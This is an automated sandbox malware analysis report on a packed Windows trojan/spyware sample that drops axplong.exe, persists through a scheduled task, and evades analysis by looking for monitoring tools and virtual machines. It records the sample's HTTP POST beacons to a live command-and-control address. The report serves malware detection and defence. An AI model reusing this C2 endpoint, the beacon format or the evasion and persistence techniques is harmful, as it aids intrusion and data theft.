Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 44 41 37 34 30 43 42 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7FDA740CBF3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 44 41 37 34 30 43 42 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7FDA740CBF3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 44 41 37 34 30 43 42 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7FDA740CBF3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s

Source: Joe Sandbox View

IP Address: 185.215.113.16 185.215.113.16

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Code function: 6_2_008FBD60 InternetOpenW,InternetConnectA,HttpOpenRequestA,HttpSendRequestA,InternetReadFile,

6_2_008FBD60

Source: unknown

HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s

Source: axplong.exe, 00000006.00000002.3389125760.00000000013A0000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000006.00000002.3389125760.00000000013BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.php
Source: axplong.exe, 00000006.00000002.3389125760.00000000013BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.php#Y
Source: axplong.exe, 00000006.00000002.3389125760.00000000013BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.php)c~v&
Source: axplong.exe, 00000006.00000002.3389125760.00000000013A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.php.y
Source: axplong.exe, 00000006.00000002.3389125760.000000000137A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.php1
Source: axplong.exe, 00000006.00000002.3389125760.00000000013BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.php6c
Source: axplong.exe, 00000006.00000002.3389125760.00000000013A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.php6y)t
Source: axplong.exe, 00000006.00000002.3389125760.00000000013BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.php7b
Source: axplong.exe, 00000006.00000002.3389125760.00000000013BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpDb
Source: axplong.exe, 00000006.00000002.3389125760.00000000013BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpGc
Source: axplong.exe, 00000006.00000002.3389125760.00000000013A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpJy%t
Source: axplong.exe, 00000006.00000002.3389125760.00000000013BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpTc
Source: axplong.exe, 00000006.00000002.3389125760.00000000013BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpUb
Source: axplong.exe, 00000006.00000002.3389125760.00000000013BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpbb
Source: axplong.exe, 00000006.00000002.3389125760.00000000013A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpded
Source: axplong.exe, 00000006.00000002.3389125760.00000000013A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpdedMG
Source: axplong.exe, 00000006.00000002.3389125760.00000000013BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpec
Source: axplong.exe, 00000006.00000002.3389125760.00000000013A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpfyYt
Source: axplong.exe, 00000006.00000002.3389125760.00000000013A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpiRyMt
Source: axplong.exe, 00000006.00000002.3389125760.00000000013A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpncoded.G
Source: axplong.exe, 00000006.00000002.3389125760.00000000013BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phprc
Source: axplong.exe, 00000006.00000002.3389125760.00000000013A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpzyUt

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: axplong.exe.0.dr	Static PE information: section name:
Source: axplong.exe.0.dr	Static PE information: section name: .idata
Source: axplong.exe.0.dr	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\axplong.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 6_2_008F4CF0	6_2_008F4CF0
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 6_2_008FE440	6_2_008FE440
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 6_2_00933068	6_2_00933068
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 6_2_00927D83	6_2_00927D83
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 6_2_008F4AF0	6_2_008F4AF0
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 6_2_0093765B	6_2_0093765B
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 6_2_00932BD0	6_2_00932BD0
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 6_2_00936F09	6_2_00936F09
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 6_2_00938720	6_2_00938720
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 6_2_0093777B	6_2_0093777B

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe 4BC8AB389044AABD25719E924300530FEDDAE8EFA8A485CBFD67DE8F347132F2

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9974561478201635
Source: file.exe	Static PE information: Section: dmbsosmk ZLIB complexity 0.99479069756624
Source: axplong.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9974561478201635
Source: axplong.exe.0.dr	Static PE information: Section: dmbsosmk ZLIB complexity 0.99479069756624

Source: axplong.exe.0.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: file.exe	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@5/3@0/1

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Mutant created: \Sessions\1\BaseNamedObjects\a091ec0a6e22276a96a99c1d34ef679c

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\44111dbc49

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe

ReversingLabs: Detection: 55%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: axplong.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: axplong.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: axplong.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe "C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe "C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe"	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: file.exe

Static file information: File size 1923072 > 1048576

Source: file.exe

Static PE information: Raw size of dmbsosmk is bigger than: 0x100000 < 0x1a3e00

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.cf0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;dmbsosmk:EW;uuntaxqq:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;dmbsosmk:EW;uuntaxqq:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Unpacked PE file: 2.2.axplong.exe.8f0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;dmbsosmk:EW;uuntaxqq:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;dmbsosmk:EW;uuntaxqq:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Unpacked PE file: 3.2.axplong.exe.8f0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;dmbsosmk:EW;uuntaxqq:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;dmbsosmk:EW;uuntaxqq:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Unpacked PE file: 6.2.axplong.exe.8f0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;dmbsosmk:EW;uuntaxqq:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;dmbsosmk:EW;uuntaxqq:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: axplong.exe.0.dr	Static PE information: real checksum: 0x1df580 should be: 0x1d9842
Source: file.exe	Static PE information: real checksum: 0x1df580 should be: 0x1d9842

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: dmbsosmk
Source: file.exe	Static PE information: section name: uuntaxqq
Source: file.exe	Static PE information: section name: .taggant
Source: axplong.exe.0.dr	Static PE information: section name:
Source: axplong.exe.0.dr	Static PE information: section name: .idata
Source: axplong.exe.0.dr	Static PE information: section name:
Source: axplong.exe.0.dr	Static PE information: section name: dmbsosmk
Source: axplong.exe.0.dr	Static PE information: section name: uuntaxqq
Source: axplong.exe.0.dr	Static PE information: section name: .taggant

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Code function: 6_2_0090D84C push ecx; ret

6_2_0090D85F

Source: file.exe	Static PE information: section name: entropy: 7.986034970037844
Source: file.exe	Static PE information: section name: dmbsosmk entropy: 7.954774902073578
Source: axplong.exe.0.dr	Static PE information: section name: entropy: 7.986034970037844
Source: axplong.exe.0.dr	Static PE information: section name: dmbsosmk entropy: 7.954774902073578

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: Regmonclass	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\axplong.job

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
